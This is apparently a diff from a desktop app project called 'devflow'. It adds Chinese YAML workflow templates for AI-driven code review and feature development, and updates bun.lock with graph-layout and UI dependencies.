|
||||||
|
analyze:
|
||||||
|
type: ai
|
||||||
|
label: 分析代码变更
|
||||||
|
config:
|
||||||
|
prompt: |
|
||||||
|
分析以下代码变更,识别:
|
||||||
|
1. 潜在 bug 和逻辑错误
|
||||||
|
2. 安全漏洞
|
||||||
|
3. 性能问题
|
||||||
|
4. 代码规范
|
||||||
|
persona_id: reviewer
|
||||||
|
|
||||||
|
report:
|
||||||
|
type: ai
|
||||||
|
label: 生成审查报告
|
||||||
|
config:
|
||||||
|
prompt: 基于分析结果,生成结构化审查报告,含优先级排序的改进建议
|
||||||
|
|
||||||
|
notify:
|
||||||
|
type: notify
|
||||||
|
label: 通知完成
|
||||||
|
config:
|
||||||
|
type: desktop
|
||||||
|
title: 代码审查完成
|
||||||
|
message: 审查报告已生成
|
||||||
|
|
||||||
|
edges:
|
||||||
|
- from: analyze
|
||||||
|
to: report
|
||||||
|
- from: report
|
||||||
|
to: notify
|
||||||
62
assets/templates/feature-dev.yaml
Normal file
62
assets/templates/feature-dev.yaml
Normal file
@@ -0,0 +1,62 @@
|
|||||||
|
# 功能开发模板
|
||||||
|
name: 功能开发
|
||||||
|
description: AI 驱动的功能开发全流程 — 设计、编码、测试、审查、通知
|
||||||
|
|
||||||
|
nodes:
|
||||||
|
design:
|
||||||
|
type: ai
|
||||||
|
label: 方案设计
|
||||||
|
config:
|
||||||
|
prompt: |
|
||||||
|
分析需求,设计实现方案:
|
||||||
|
1. 模块划分和接口定义
|
||||||
|
2. 数据结构和核心算法
|
||||||
|
3. 影响范围评估
|
||||||
|
persona_id: architect
|
||||||
|
|
||||||
|
implement:
|
||||||
|
type: ai
|
||||||
|
label: 编码实现
|
||||||
|
config:
|
||||||
|
prompt: |
|
||||||
|
按照设计方案实现功能。
|
||||||
|
使用 write_file 和 patch_file 工具编写代码。
|
||||||
|
persona_id: coder
|
||||||
|
|
||||||
|
test:
|
||||||
|
type: ai
|
||||||
|
label: 编写测试
|
||||||
|
config:
|
||||||
|
prompt: |
|
||||||
|
为新功能编写单元测试和集成测试。
|
||||||
|
使用 run_command 工具运行测试验证。
|
||||||
|
persona_id: tester
|
||||||
|
|
||||||
|
review:
|
||||||
|
type: ai
|
||||||
|
label: 代码审查
|
||||||
|
config:
|
||||||
|
prompt: |
|
||||||
|
审查实现代码,关注:
|
||||||
|
1. 代码质量和可维护性
|
||||||
|
2. 潜在 bug
|
||||||
|
3. 安全性
|
||||||
|
persona_id: reviewer
|
||||||
|
|
||||||
|
notify:
|
||||||
|
type: notify
|
||||||
|
label: 通知完成
|
||||||
|
config:
|
||||||
|
type: desktop
|
||||||
|
title: 功能开发完成
|
||||||
|
message: 设计→编码→测试→审查 全流程完成
|
||||||
|
|
||||||
|
edges:
|
||||||
|
- from: design
|
||||||
|
to: implement
|
||||||
|
- from: implement
|
||||||
|
to: test
|
||||||
|
- from: test
|
||||||
|
to: review
|
||||||
|
- from: review
|
||||||
|
to: notify
|
||||||
82
bun.lock
82
bun.lock
@@ -5,10 +5,18 @@
|
|||||||
"": {
|
"": {
|
||||||
"name": "devflow",
|
"name": "devflow",
|
||||||
"dependencies": {
|
"dependencies": {
|
||||||
|
"@antv/layout": "^2.0.0",
|
||||||
|
"@antv/x6": "^3.1.7",
|
||||||
|
"@antv/x6-vue-shape": "^3.0.2",
|
||||||
"@arco-design/web-vue": "^2.58.0",
|
"@arco-design/web-vue": "^2.58.0",
|
||||||
"@tauri-apps/api": "^2",
|
"@tauri-apps/api": "^2",
|
||||||
"dompurify": "^3.4.9",
|
"@tauri-apps/plugin-dialog": "^2.7.1",
|
||||||
|
"@types/dagre": "^0.7.54",
|
||||||
|
"dagre": "^0.8.5",
|
||||||
|
"dompurify": "^3.4.10",
|
||||||
|
"highlight.js": "^11.11.1",
|
||||||
"marked": "^18.0.5",
|
"marked": "^18.0.5",
|
||||||
|
"tslib": "^2.8.1",
|
||||||
"vue": "^3.5.13",
|
"vue": "^3.5.13",
|
||||||
"vue-i18n": "9",
|
"vue-i18n": "9",
|
||||||
"vue-router": "4",
|
"vue-router": "4",
|
||||||
@@ -24,6 +32,20 @@
|
|||||||
},
|
},
|
||||||
},
|
},
|
||||||
"packages": {
|
"packages": {
|
||||||
|
"@antv/event-emitter": ["@antv/event-emitter@0.1.3", "https://registry.npmmirror.com/@antv/event-emitter/-/event-emitter-0.1.3.tgz", {}, "sha512-4ddpsiHN9Pd4UIlWuKVK1C4IiZIdbwQvy9i7DUSI3xNJ89FPUFt8lxDYj8GzzfdllV0NkJTRxnG+FvLk0llidg=="],
|
||||||
|
|
||||||
|
"@antv/expr": ["@antv/expr@1.0.2", "https://registry.npmmirror.com/@antv/expr/-/expr-1.0.2.tgz", {}, "sha512-vrfdmPHkTuiS5voVutKl2l06w1ihBh9A8SFdQPEE+2KMVpkymzGOF1eWpfkbGZ7tiFE15GodVdhhHomD/hdIwg=="],
|
||||||
|
|
||||||
|
"@antv/graphlib": ["@antv/graphlib@2.0.4", "https://registry.npmmirror.com/@antv/graphlib/-/graphlib-2.0.4.tgz", { "dependencies": { "@antv/event-emitter": "^0.1.3" } }, "sha512-zc/5oQlsdk42Z0ib1mGklwzhJ5vczLFiPa1v7DgJkTbgJ2YxRh9xdarf86zI49sKVJmgbweRpJs7Nu5bIiwv4w=="],
|
||||||
|
|
||||||
|
"@antv/layout": ["@antv/layout@2.0.0", "https://registry.npmmirror.com/@antv/layout/-/layout-2.0.0.tgz", { "dependencies": { "@antv/event-emitter": "^0.1.3", "@antv/expr": "^1.0.2", "@antv/graphlib": "^2.0.0", "@antv/util": "^3.3.2", "comlink": "^4.4.1", "d3-force": "^3.0.0", "d3-force-3d": "^3.0.5", "d3-octree": "^1.0.2", "d3-quadtree": "^3.0.1", "dagre": "^0.8.5", "ml-matrix": "^6.10.4", "tslib": "^2.8.1" } }, "sha512-aCZ3UdNc40SfT7meFV7QTADY2HCnc0DShVw56CJNTI6oExUIVU736grPuL5Dhb8/JrVaU4Y83QPN/P7KafBzlw=="],
|
||||||
|
|
||||||
|
"@antv/util": ["@antv/util@3.3.11", "https://registry.npmmirror.com/@antv/util/-/util-3.3.11.tgz", { "dependencies": { "fast-deep-equal": "^3.1.3", "gl-matrix": "^3.3.0", "tslib": "^2.3.1" } }, "sha512-FII08DFM4ABh2q5rPYdr0hMtKXRgeZazvXaFYCs7J7uTcWDHUhczab2qOCJLNDugoj8jFag1djb7wS9ehaRYBg=="],
|
||||||
|
|
||||||
|
"@antv/x6": ["@antv/x6@3.1.7", "https://registry.npmmirror.com/@antv/x6/-/x6-3.1.7.tgz", { "dependencies": { "dom-align": "^1.12.4", "lodash-es": "^4.17.15", "mousetrap": "^1.6.5", "utility-types": "^3.10.0" } }, "sha512-NLKXtbCK51oLbazfFD0XsD93rMmih08UBW4gAuEyLBpwAqHmHe+vP8VhOZDkl5O9jV1LSv85IJghr9CT5tZjWw=="],
|
||||||
|
|
||||||
|
"@antv/x6-vue-shape": ["@antv/x6-vue-shape@3.0.2", "https://registry.npmmirror.com/@antv/x6-vue-shape/-/x6-vue-shape-3.0.2.tgz", { "dependencies": { "vue-demi": "latest" }, "peerDependencies": { "@antv/x6": "^3.x", "@vue/composition-api": "^1.0.0-rc.1", "vue": "^2.0.0 || >=3.0.0" }, "optionalPeers": ["@vue/composition-api"] }, "sha512-HWnYFvLCaUD9ernINxTn9vCRj66eG/nXKErSSq0hfI4U1HOitC/1oUrzDdwL/BT80HKAQeSsmy7gpDA/79jYlw=="],
|
||||||
|
|
||||||
"@arco-design/color": ["@arco-design/color@0.4.0", "https://registry.npmmirror.com/@arco-design/color/-/color-0.4.0.tgz", { "dependencies": { "color": "^3.1.3" } }, "sha512-s7p9MSwJgHeL8DwcATaXvWT3m2SigKpxx4JA1BGPHL4gfvaQsmQfrLBDpjOJFJuJ2jG2dMt3R3P8Pm9E65q18g=="],
|
"@arco-design/color": ["@arco-design/color@0.4.0", "https://registry.npmmirror.com/@arco-design/color/-/color-0.4.0.tgz", { "dependencies": { "color": "^3.1.3" } }, "sha512-s7p9MSwJgHeL8DwcATaXvWT3m2SigKpxx4JA1BGPHL4gfvaQsmQfrLBDpjOJFJuJ2jG2dMt3R3P8Pm9E65q18g=="],
|
||||||
|
|
||||||
"@arco-design/web-vue": ["@arco-design/web-vue@2.58.0", "https://registry.npmmirror.com/@arco-design/web-vue/-/web-vue-2.58.0.tgz", { "dependencies": { "@arco-design/color": "^0.4.0", "b-tween": "^0.3.3", "b-validate": "^1.5.3", "compute-scroll-into-view": "^1.0.20", "dayjs": "^1.11.13", "number-precision": "^1.6.0", "resize-observer-polyfill": "^1.5.1", "scroll-into-view-if-needed": "^2.2.31", "vue": "^3.1.0" } }, "sha512-b1vdPYOmjG5VAkVa7jlVwCb+WynBK+rnKN8zH3yKohpZObZbostRd3HgYNtjjZjGVU3OqR0Yy2FX7ftgF0bcOw=="],
|
"@arco-design/web-vue": ["@arco-design/web-vue@2.58.0", "https://registry.npmmirror.com/@arco-design/web-vue/-/web-vue-2.58.0.tgz", { "dependencies": { "@arco-design/color": "^0.4.0", "b-tween": "^0.3.3", "b-validate": "^1.5.3", "compute-scroll-into-view": "^1.0.20", "dayjs": "^1.11.13", "number-precision": "^1.6.0", "resize-observer-polyfill": "^1.5.1", "scroll-into-view-if-needed": "^2.2.31", "vue": "^3.1.0" } }, "sha512-b1vdPYOmjG5VAkVa7jlVwCb+WynBK+rnKN8zH3yKohpZObZbostRd3HgYNtjjZjGVU3OqR0Yy2FX7ftgF0bcOw=="],
|
||||||
@@ -172,6 +194,10 @@
|
|||||||
|
|
||||||
"@tauri-apps/cli-win32-x64-msvc": ["@tauri-apps/cli-win32-x64-msvc@2.11.2", "https://registry.npmmirror.com/@tauri-apps/cli-win32-x64-msvc/-/cli-win32-x64-msvc-2.11.2.tgz", { "os": "win32", "cpu": "x64" }, "sha512-d2JchlFIpZevZVReyqhQOekJmb1UH3rhZ5VX6sH3ty9ETE0TKQavpihvoScUXfKKpW6HZC0MrFGRU0ZtD+w3gA=="],
|
"@tauri-apps/cli-win32-x64-msvc": ["@tauri-apps/cli-win32-x64-msvc@2.11.2", "https://registry.npmmirror.com/@tauri-apps/cli-win32-x64-msvc/-/cli-win32-x64-msvc-2.11.2.tgz", { "os": "win32", "cpu": "x64" }, "sha512-d2JchlFIpZevZVReyqhQOekJmb1UH3rhZ5VX6sH3ty9ETE0TKQavpihvoScUXfKKpW6HZC0MrFGRU0ZtD+w3gA=="],
|
||||||
|
|
||||||
|
"@tauri-apps/plugin-dialog": ["@tauri-apps/plugin-dialog@2.7.1", "https://registry.npmmirror.com/@tauri-apps/plugin-dialog/-/plugin-dialog-2.7.1.tgz", { "dependencies": { "@tauri-apps/api": "^2.11.0" } }, "sha512-OK1UBXYt+ojcmxMktzzuyonYIFta8CmAASpX+CA+DTGK24KlHjhYI6x2iOJ/TjZF4N7/ACK1oFmEOjIY9IhzOQ=="],
|
||||||
|
|
||||||
|
"@types/dagre": ["@types/dagre@0.7.54", "https://registry.npmmirror.com/@types/dagre/-/dagre-0.7.54.tgz", {}, "sha512-QjcRY+adGbYvBFS7cwv5txhVIwX1XXIUswWl+kSQTbI6NjgZydrZkEKX/etzVd7i+bCsCb40Z/xlBY5eoFuvWQ=="],
|
||||||
|
|
||||||
"@types/dompurify": ["@types/dompurify@3.2.0", "https://registry.npmmirror.com/@types/dompurify/-/dompurify-3.2.0.tgz", { "dependencies": { "dompurify": "*" } }, "sha512-Fgg31wv9QbLDA0SpTOXO3MaxySc4DKGLi8sna4/Utjo4r3ZRPdCt4UQee8BWr+Q5z21yifghREPJGYaEOEIACg=="],
|
"@types/dompurify": ["@types/dompurify@3.2.0", "https://registry.npmmirror.com/@types/dompurify/-/dompurify-3.2.0.tgz", { "dependencies": { "dompurify": "*" } }, "sha512-Fgg31wv9QbLDA0SpTOXO3MaxySc4DKGLi8sna4/Utjo4r3ZRPdCt4UQee8BWr+Q5z21yifghREPJGYaEOEIACg=="],
|
||||||
|
|
||||||
"@types/estree": ["@types/estree@1.0.9", "https://registry.npmmirror.com/@types/estree/-/estree-1.0.9.tgz", {}, "sha512-GhdPgy1el4/ImP05X05Uw4cw2/M93BCUmnEvWZNStlCzEKME4Fkk+YpoA5OiHNQmoS7Cafb8Xa3Pya8m1Qrzeg=="],
|
"@types/estree": ["@types/estree@1.0.9", "https://registry.npmmirror.com/@types/estree/-/estree-1.0.9.tgz", {}, "sha512-GhdPgy1el4/ImP05X05Uw4cw2/M93BCUmnEvWZNStlCzEKME4Fkk+YpoA5OiHNQmoS7Cafb8Xa3Pya8m1Qrzeg=="],
|
||||||
@@ -228,15 +254,35 @@
|
|||||||
|
|
||||||
"color-string": ["color-string@1.9.1", "https://registry.npmmirror.com/color-string/-/color-string-1.9.1.tgz", { "dependencies": { "color-name": "^1.0.0", "simple-swizzle": "^0.2.2" } }, "sha512-shrVawQFojnZv6xM40anx4CkoDP+fZsw/ZerEMsW/pyzsRbElpsL/DBVW7q3ExxwusdNXI3lXpuhEZkzs8p5Eg=="],
|
"color-string": ["color-string@1.9.1", "https://registry.npmmirror.com/color-string/-/color-string-1.9.1.tgz", { "dependencies": { "color-name": "^1.0.0", "simple-swizzle": "^0.2.2" } }, "sha512-shrVawQFojnZv6xM40anx4CkoDP+fZsw/ZerEMsW/pyzsRbElpsL/DBVW7q3ExxwusdNXI3lXpuhEZkzs8p5Eg=="],
|
||||||
|
|
||||||
|
"comlink": ["comlink@4.4.2", "https://registry.npmmirror.com/comlink/-/comlink-4.4.2.tgz", {}, "sha512-OxGdvBmJuNKSCMO4NTl1L47VRp6xn2wG4F/2hYzB6tiCb709otOxtEYCSvK80PtjODfXXZu8ds+Nw5kVCjqd2g=="],
|
||||||
|
|
||||||
"compute-scroll-into-view": ["compute-scroll-into-view@1.0.20", "https://registry.npmmirror.com/compute-scroll-into-view/-/compute-scroll-into-view-1.0.20.tgz", {}, "sha512-UCB0ioiyj8CRjtrvaceBLqqhZCVP+1B8+NWQhmdsm0VXOJtobBCf1dBQmebCCo34qZmUwZfIH2MZLqNHazrfjg=="],
|
"compute-scroll-into-view": ["compute-scroll-into-view@1.0.20", "https://registry.npmmirror.com/compute-scroll-into-view/-/compute-scroll-into-view-1.0.20.tgz", {}, "sha512-UCB0ioiyj8CRjtrvaceBLqqhZCVP+1B8+NWQhmdsm0VXOJtobBCf1dBQmebCCo34qZmUwZfIH2MZLqNHazrfjg=="],
|
||||||
|
|
||||||
"csstype": ["csstype@3.2.3", "https://registry.npmmirror.com/csstype/-/csstype-3.2.3.tgz", {}, "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ=="],
|
"csstype": ["csstype@3.2.3", "https://registry.npmmirror.com/csstype/-/csstype-3.2.3.tgz", {}, "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ=="],
|
||||||
|
|
||||||
|
"d3-binarytree": ["d3-binarytree@1.0.2", "https://registry.npmmirror.com/d3-binarytree/-/d3-binarytree-1.0.2.tgz", {}, "sha512-cElUNH+sHu95L04m92pG73t2MEJXKu+GeKUN1TJkFsu93E5W8E9Sc3kHEGJKgenGvj19m6upSn2EunvMgMD2Yw=="],
|
||||||
|
|
||||||
|
"d3-dispatch": ["d3-dispatch@3.0.1", "https://registry.npmmirror.com/d3-dispatch/-/d3-dispatch-3.0.1.tgz", {}, "sha512-rzUyPU/S7rwUflMyLc1ETDeBj0NRuHKKAcvukozwhshr6g6c5d8zh4c2gQjY2bZ0dXeGLWc1PF174P2tVvKhfg=="],
|
||||||
|
|
||||||
|
"d3-force": ["d3-force@3.0.0", "https://registry.npmmirror.com/d3-force/-/d3-force-3.0.0.tgz", { "dependencies": { "d3-dispatch": "1 - 3", "d3-quadtree": "1 - 3", "d3-timer": "1 - 3" } }, "sha512-zxV/SsA+U4yte8051P4ECydjD/S+qeYtnaIyAs9tgHCqfguma/aAQDjo85A9Z6EKhBirHRJHXIgJUlffT4wdLg=="],
|
||||||
|
|
||||||
|
"d3-force-3d": ["d3-force-3d@3.0.6", "https://registry.npmmirror.com/d3-force-3d/-/d3-force-3d-3.0.6.tgz", { "dependencies": { "d3-binarytree": "1", "d3-dispatch": "1 - 3", "d3-octree": "1", "d3-quadtree": "1 - 3", "d3-timer": "1 - 3" } }, "sha512-4tsKHUPLOVkyfEffZo1v6sFHvGFwAIIjt/W8IThbp08DYAsXZck+2pSHEG5W1+gQgEvFLdZkYvmJAbRM2EzMnA=="],
|
||||||
|
|
||||||
|
"d3-octree": ["d3-octree@1.1.0", "https://registry.npmmirror.com/d3-octree/-/d3-octree-1.1.0.tgz", {}, "sha512-F8gPlqpP+HwRPMO/8uOu5wjH110+6q4cgJvgJT6vlpy3BEaDIKlTZrgHKZSp/i1InRpVfh4puY/kvL6MxK930A=="],
|
||||||
|
|
||||||
|
"d3-quadtree": ["d3-quadtree@3.0.1", "https://registry.npmmirror.com/d3-quadtree/-/d3-quadtree-3.0.1.tgz", {}, "sha512-04xDrxQTDTCFwP5H6hRhsRcb9xxv2RzkcsygFzmkSIOJy3PeRJP7sNk3VRIbKXcog561P9oU0/rVH6vDROAgUw=="],
|
||||||
|
|
||||||
|
"d3-timer": ["d3-timer@3.0.1", "https://registry.npmmirror.com/d3-timer/-/d3-timer-3.0.1.tgz", {}, "sha512-ndfJ/JxxMd3nw31uyKoY2naivF+r29V+Lc0svZxe1JvvIRmi8hUsrMvdOwgS1o6uBHmiz91geQ0ylPP0aj1VUA=="],
|
||||||
|
|
||||||
|
"dagre": ["dagre@0.8.5", "https://registry.npmmirror.com/dagre/-/dagre-0.8.5.tgz", { "dependencies": { "graphlib": "^2.1.8", "lodash": "^4.17.15" } }, "sha512-/aTqmnRta7x7MCCpExk7HQL2O4owCT2h8NT//9I1OQ9vt29Pa0BzSAkR5lwFUcQ7491yVi/3CXU9jQ5o0Mn2Sw=="],
|
||||||
|
|
||||||
"dayjs": ["dayjs@1.11.21", "https://registry.npmmirror.com/dayjs/-/dayjs-1.11.21.tgz", {}, "sha512-98IT+HOahAisibz/yjKbzuOBwYcjJ7BCLPzARyHiyEBmRz4fatF+KPJszEHXsGYjUG234aH/cOjW1wwTbKUZlA=="],
|
"dayjs": ["dayjs@1.11.21", "https://registry.npmmirror.com/dayjs/-/dayjs-1.11.21.tgz", {}, "sha512-98IT+HOahAisibz/yjKbzuOBwYcjJ7BCLPzARyHiyEBmRz4fatF+KPJszEHXsGYjUG234aH/cOjW1wwTbKUZlA=="],
|
||||||
|
|
||||||
"de-indent": ["de-indent@1.0.2", "https://registry.npmmirror.com/de-indent/-/de-indent-1.0.2.tgz", {}, "sha512-e/1zu3xH5MQryN2zdVaF0OrdNLUbvWxzMbi+iNA6Bky7l1RoP8a2fIbRocyHclXt/arDrrR6lL3TqFD9pMQTsg=="],
|
"de-indent": ["de-indent@1.0.2", "https://registry.npmmirror.com/de-indent/-/de-indent-1.0.2.tgz", {}, "sha512-e/1zu3xH5MQryN2zdVaF0OrdNLUbvWxzMbi+iNA6Bky7l1RoP8a2fIbRocyHclXt/arDrrR6lL3TqFD9pMQTsg=="],
|
||||||
|
|
||||||
"dompurify": ["dompurify@3.4.9", "https://registry.npmmirror.com/dompurify/-/dompurify-3.4.9.tgz", { "optionalDependencies": { "@types/trusted-types": "^2.0.7" } }, "sha512-4dPSRMRDqHvs0V4YDFCsaIZo4if5u0xM+llyxiM2fwuZFdKArUBAF3VtI2+n8NKg9P870WMdYk0UhqQNoWXbfQ=="],
|
"dom-align": ["dom-align@1.12.4", "https://registry.npmmirror.com/dom-align/-/dom-align-1.12.4.tgz", {}, "sha512-R8LUSEay/68zE5c8/3BDxiTEvgb4xZTF0RKmAHfiEVN3klfIpXfi2/QCoiWPccVQ0J/ZGdz9OjzL4uJEP/MRAw=="],
|
||||||
|
|
||||||
|
"dompurify": ["dompurify@3.4.11", "https://registry.npmmirror.com/dompurify/-/dompurify-3.4.11.tgz", { "optionalDependencies": { "@types/trusted-types": "^2.0.7" } }, "sha512-zhlUV12GsaRzMsf9q5M254YhA4+VuF0fG+QFqu6aYpoGlKtz+w8//jBcGVYBgQkR5GHjUomejY84AV+/uPbWdw=="],
|
||||||
|
|
||||||
"entities": ["entities@7.0.1", "https://registry.npmmirror.com/entities/-/entities-7.0.1.tgz", {}, "sha512-TWrgLOFUQTH994YUyl1yT4uyavY5nNB5muff+RtWaqNVCAK408b5ZnnbNAUEWLTCpum9w6arT70i1XdQ4UeOPA=="],
|
"entities": ["entities@7.0.1", "https://registry.npmmirror.com/entities/-/entities-7.0.1.tgz", {}, "sha512-TWrgLOFUQTH994YUyl1yT4uyavY5nNB5muff+RtWaqNVCAK408b5ZnnbNAUEWLTCpum9w6arT70i1XdQ4UeOPA=="],
|
||||||
|
|
||||||
@@ -244,20 +290,44 @@
|
|||||||
|
|
||||||
"estree-walker": ["estree-walker@2.0.2", "https://registry.npmmirror.com/estree-walker/-/estree-walker-2.0.2.tgz", {}, "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w=="],
|
"estree-walker": ["estree-walker@2.0.2", "https://registry.npmmirror.com/estree-walker/-/estree-walker-2.0.2.tgz", {}, "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w=="],
|
||||||
|
|
||||||
|
"fast-deep-equal": ["fast-deep-equal@3.1.3", "https://registry.npmmirror.com/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", {}, "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q=="],
|
||||||
|
|
||||||
"fdir": ["fdir@6.5.0", "https://registry.npmmirror.com/fdir/-/fdir-6.5.0.tgz", { "peerDependencies": { "picomatch": "^3 || ^4" }, "optionalPeers": ["picomatch"] }, "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg=="],
|
"fdir": ["fdir@6.5.0", "https://registry.npmmirror.com/fdir/-/fdir-6.5.0.tgz", { "peerDependencies": { "picomatch": "^3 || ^4" }, "optionalPeers": ["picomatch"] }, "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg=="],
|
||||||
|
|
||||||
"fsevents": ["fsevents@2.3.3", "https://registry.npmmirror.com/fsevents/-/fsevents-2.3.3.tgz", { "os": "darwin" }, "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw=="],
|
"fsevents": ["fsevents@2.3.3", "https://registry.npmmirror.com/fsevents/-/fsevents-2.3.3.tgz", { "os": "darwin" }, "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw=="],
|
||||||
|
|
||||||
|
"gl-matrix": ["gl-matrix@3.4.4", "https://registry.npmmirror.com/gl-matrix/-/gl-matrix-3.4.4.tgz", {}, "sha512-latSnyDNt/8zYUB6VIJ6PCh2jBjJX6gnDsoCZ7LyW7GkqrD51EWwa9qCoGixj8YqBtETQK/xY7OmpTF8xz1DdQ=="],
|
||||||
|
|
||||||
|
"graphlib": ["graphlib@2.1.8", "https://registry.npmmirror.com/graphlib/-/graphlib-2.1.8.tgz", { "dependencies": { "lodash": "^4.17.15" } }, "sha512-jcLLfkpoVGmH7/InMC/1hIvOPSUh38oJtGhvrOFGzioE1DZ+0YW16RgmOJhHiuWTvGiJQ9Z1Ik43JvkRPRvE+A=="],
|
||||||
|
|
||||||
"he": ["he@1.2.0", "https://registry.npmmirror.com/he/-/he-1.2.0.tgz", { "bin": { "he": "bin/he" } }, "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw=="],
|
"he": ["he@1.2.0", "https://registry.npmmirror.com/he/-/he-1.2.0.tgz", { "bin": { "he": "bin/he" } }, "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw=="],
|
||||||
|
|
||||||
|
"highlight.js": ["highlight.js@11.11.1", "https://registry.npmmirror.com/highlight.js/-/highlight.js-11.11.1.tgz", {}, "sha512-Xwwo44whKBVCYoliBQwaPvtd/2tYFkRQtXDWj1nackaV2JPXx3L0+Jvd8/qCJ2p+ML0/XVkJ2q+Mr+UVdpJK5w=="],
|
||||||
|
|
||||||
|
"is-any-array": ["is-any-array@3.0.0", "https://registry.npmmirror.com/is-any-array/-/is-any-array-3.0.0.tgz", {}, "sha512-o4h+tylWykC4BD1vaejp6gDxoM13bwW8FGuNs4yIKpj8xbBJcRxJx8vZpq0dCr7ZDEfeKjmsi/euolKhX6f/ww=="],
|
||||||
|
|
||||||
"is-arrayish": ["is-arrayish@0.3.4", "https://registry.npmmirror.com/is-arrayish/-/is-arrayish-0.3.4.tgz", {}, "sha512-m6UrgzFVUYawGBh1dUsWR5M2Clqic9RVXC/9f8ceNlv2IcO9j9J/z8UoCLPqtsPBFNzEpfR3xftohbfqDx8EQA=="],
|
"is-arrayish": ["is-arrayish@0.3.4", "https://registry.npmmirror.com/is-arrayish/-/is-arrayish-0.3.4.tgz", {}, "sha512-m6UrgzFVUYawGBh1dUsWR5M2Clqic9RVXC/9f8ceNlv2IcO9j9J/z8UoCLPqtsPBFNzEpfR3xftohbfqDx8EQA=="],
|
||||||
|
|
||||||
|
"lodash": ["lodash@4.18.1", "https://registry.npmmirror.com/lodash/-/lodash-4.18.1.tgz", {}, "sha512-dMInicTPVE8d1e5otfwmmjlxkZoUpiVLwyeTdUsi/Caj/gfzzblBcCE5sRHV/AsjuCmxWrte2TNGSYuCeCq+0Q=="],
|
||||||
|
|
||||||
|
"lodash-es": ["lodash-es@4.18.1", "https://registry.npmmirror.com/lodash-es/-/lodash-es-4.18.1.tgz", {}, "sha512-J8xewKD/Gk22OZbhpOVSwcs60zhd95ESDwezOFuA3/099925PdHJ7OFHNTGtajL3AlZkykD32HykiMo+BIBI8A=="],
|
||||||
|
|
||||||
"magic-string": ["magic-string@0.30.21", "https://registry.npmmirror.com/magic-string/-/magic-string-0.30.21.tgz", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.5" } }, "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ=="],
|
"magic-string": ["magic-string@0.30.21", "https://registry.npmmirror.com/magic-string/-/magic-string-0.30.21.tgz", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.5" } }, "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ=="],
|
||||||
|
|
||||||
"marked": ["marked@18.0.5", "https://registry.npmmirror.com/marked/-/marked-18.0.5.tgz", { "bin": { "marked": "bin/marked.js" } }, "sha512-S6GcvALHg6K4ohtu4E7x0a1AqhAjp6cV8KhLSyN9qVapnzJkusVBxZRcIU9AeYsbe6P1hKDusSbEOzGyyuce6w=="],
|
"marked": ["marked@18.0.5", "https://registry.npmmirror.com/marked/-/marked-18.0.5.tgz", { "bin": { "marked": "bin/marked.js" } }, "sha512-S6GcvALHg6K4ohtu4E7x0a1AqhAjp6cV8KhLSyN9qVapnzJkusVBxZRcIU9AeYsbe6P1hKDusSbEOzGyyuce6w=="],
|
||||||
|
|
||||||
"minimatch": ["minimatch@9.0.9", "https://registry.npmmirror.com/minimatch/-/minimatch-9.0.9.tgz", { "dependencies": { "brace-expansion": "^2.0.2" } }, "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg=="],
|
"minimatch": ["minimatch@9.0.9", "https://registry.npmmirror.com/minimatch/-/minimatch-9.0.9.tgz", { "dependencies": { "brace-expansion": "^2.0.2" } }, "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg=="],
|
||||||
|
|
||||||
|
"ml-array-max": ["ml-array-max@2.0.0", "https://registry.npmmirror.com/ml-array-max/-/ml-array-max-2.0.0.tgz", { "dependencies": { "is-any-array": "^3.0.0" } }, "sha512-QQZ4kENwpWmyNb98UXRDFXrmtIXuXtt1+bSbda/2KA85+F+rrJP8hZk6QOkCQXM2Th9mUDYdq/PNByPdT9ID4A=="],
|
||||||
|
|
||||||
|
"ml-array-min": ["ml-array-min@2.0.0", "https://registry.npmmirror.com/ml-array-min/-/ml-array-min-2.0.0.tgz", { "dependencies": { "is-any-array": "^3.0.0" } }, "sha512-GRj6Ky6sW9vGL6yIjgsHmXZ9YgrdmcQ8nCxPqEGeKc6dkfYg1XDYxGFxADUjNuZyoCd5PUscWAS4N+cFaX6hFg=="],
|
||||||
|
|
||||||
|
